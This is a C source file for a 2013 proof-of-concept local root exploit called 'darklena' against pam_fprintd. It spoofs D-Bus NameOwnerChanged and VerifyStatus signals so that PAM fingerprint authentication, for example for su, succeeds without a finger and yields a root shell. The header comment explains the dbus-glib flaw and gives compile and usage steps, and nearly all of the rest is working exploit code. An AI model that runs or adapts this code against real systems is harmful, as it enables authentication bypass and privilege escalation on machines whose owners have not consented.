/* darklena. fprintd/pam_fprintd local root PoC. However dbus-glib plays an important role.
 *
 * (C) 2013 Sebastian Krahmer, all rights reversed.
 *
 * pam_fprintd uses net.reactivated.Fprint service to trigger finger swiping and
 * registers DBUS signal inside the PAM authentication function:
 *
 *       dbus_g_proxy_add_signal(dev, "VerifyStatus", G_TYPE_STRING, G_TYPE_BOOLEAN, NULL);
 *       dbus_g_proxy_add_signal(dev, "VerifyFingerSelected", G_TYPE_STRING, NULL);
 *       dbus_g_proxy_connect_signal(dev, "VerifyStatus", G_CALLBACK(verify_result),
 *                                   data, NULL);
 *
 * Then, when the DBUS signal arrives, the signal argument is basically just checked
 * to be the "verify-match" string; which however is expected to come from the legit
 * net.reactivated.Fprint service. Since there is no message filter registered in either
 * pam_fprintd, nor inside dbus-glib which it is using, such signals can be spoofed
 * by anyone. In order to do so, we first need to spoof a NameOwnerChanged signal
 * so the dbus_g_proxy_manager_filter() function inside dbus-glib will find our
 * sender-name (which cannot be spoofed) inside its hash tables and match it to
 * net.reactivated.Fprint.
 *
 * To test this PoC, start a service (su is fine) as user that is using pam_fprintd.
 * On a second xterm, when you see 'Swipe your ... finger' message start this PoC
 * and you will notice that a rootshell is spawned in the first xterm w/o giving your finger. :p
 *
 * Used various DBUS tutorials and example code, while writing this.
 *
 * $ cc darklena.c `pkg-config --cflags dbus-1` -ldbus-1 -Wall
 *
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <dbus/dbus.h>


void die(const char *s)
{
	perror(s);
	exit(errno);
}


int main(int argc, char **argv)
{
	DBusError err;
	DBusConnection *conn = NULL;
	DBusMessage *vrfy_msg = NULL, *noc_msg = NULL, *nl_msg = NULL, *reply = NULL;
	dbus_uint32_t serial = 0;
	dbus_bool_t t = 1;
	int un = 0, i = 0, reply_to = -1;
	const char *vrfy_match = "verify-match", *cname = NULL,
	           *name = "net.reactivated.Fprint", *prev_owner = NULL;
	char dest[32];

	/* override unique name of net.reactivated.Fprint */
	if (argc > 1)
		prev_owner = strdup(argv[1]);

	printf("\n[**] darklena, pam_fprintd PoC exploit 2013\n\n");

	printf("[*] Initializing DBUS ...\n");
	dbus_error_init(&err);
	conn = dbus_bus_get(DBUS_BUS_SYSTEM, &err);

	if (dbus_error_is_set(&err)) {
		fprintf(stderr, "Error: %s\n", err.message);
		die("dbus_error_is_set");
	}

	if ((cname = dbus_bus_get_unique_name(conn)) == NULL)
		die("dbus_bus_get_unique_name");

	un = atoi(strchr(cname, '.') + 1);

	printf("[+] Done. Found my unique name: %s (%d)\n", cname, un);

	if (!prev_owner) {
		printf("[*] Trying to find unique name of '%s' ...\n", name);
		nl_msg = dbus_message_new_method_call("org.freedesktop.DBus",
	        	                              "/org/freedesktop/DBus",
  	                	                      "org.freedesktop.DBus",
	                        	              "GetNameOwner");

		if (!dbus_message_append_args(nl_msg, DBUS_TYPE_STRING, &name, DBUS_TYPE_INVALID))
			die("[-] dbus_message_append_args");

		reply = dbus_connection_send_with_reply_and_block(conn, nl_msg, reply_to, &err);
		dbus_message_unref(nl_msg);

		if (dbus_error_is_set(&err)) {
			fprintf (stderr, "[-] Error: %s\n", err.message);
			die("[-] dbus_connection_send_with_reply_and_block");
		}

		if (!dbus_message_get_args(reply, &err,
		                           DBUS_TYPE_STRING, &prev_owner, DBUS_TYPE_INVALID)) {
			fprintf(stderr, "[-] Error: %s\n", err.message);
			die("[-] dbus_message_get_args");
		}

		dbus_message_unref(reply);
	}

	printf("[+] Found unique name of '%s' as '%s'\n", name, prev_owner);

	for (i = 1; i < 20; ++i) {
		/* spoof a NameOwnerChanged signal */
		noc_msg = dbus_message_new_signal("/org/freedesktop/DBus",
		                                  "org.freedesktop.DBus",
	        	                          "NameOwnerChanged");

		/* spoof a VerifyStatus */
		vrfy_msg = dbus_message_new_signal("/net/reactivated/Fprint/Device/0",
        	                                   "net.reactivated.Fprint.Device",
                	                           "VerifyStatus");

		if (!vrfy_msg || !noc_msg)
			die("[-] dbus_message_new_signal");

		if (!dbus_message_append_args(noc_msg, DBUS_TYPE_STRING, &name, DBUS_TYPE_STRING,
		                              &prev_owner, DBUS_TYPE_STRING, &cname, DBUS_TYPE_INVALID))
			die("[-] dbus_message_append_args1");

		if (!dbus_message_append_args(vrfy_msg, DBUS_TYPE_STRING, &vrfy_match,
        		                      DBUS_TYPE_BOOLEAN, &t, DBUS_TYPE_INVALID))
			die("[-] dbus_message_append_args2");

		/* iterate over unique names short below under our own
		 * to hit the previously started su
		 */
		snprintf(dest, sizeof(dest), ":1.%d", un - i);
		printf("[*] Using new destination: %s\n", dest);

		if (!dbus_message_set_destination(vrfy_msg, dest))
			die("[-] dbus_message_set_destination");

		if (!dbus_message_set_destination(noc_msg, dest))
			die("[-] dbus_message_set_destination");

		if (!dbus_connection_send(conn, noc_msg, &serial))
			die("[-] dbus_connection_send");

		dbus_connection_flush(conn);
		usleep(1000);

		if (!dbus_connection_send(conn, vrfy_msg, &serial))
			die("[-] dbus_connection_send");

		dbus_connection_flush(conn);

		dbus_message_unref(vrfy_msg);
		dbus_message_unref(noc_msg);
	}

	printf("\n[**] Here comes the pain! (but no one's to too innocent to die)\n");
	return 0;
}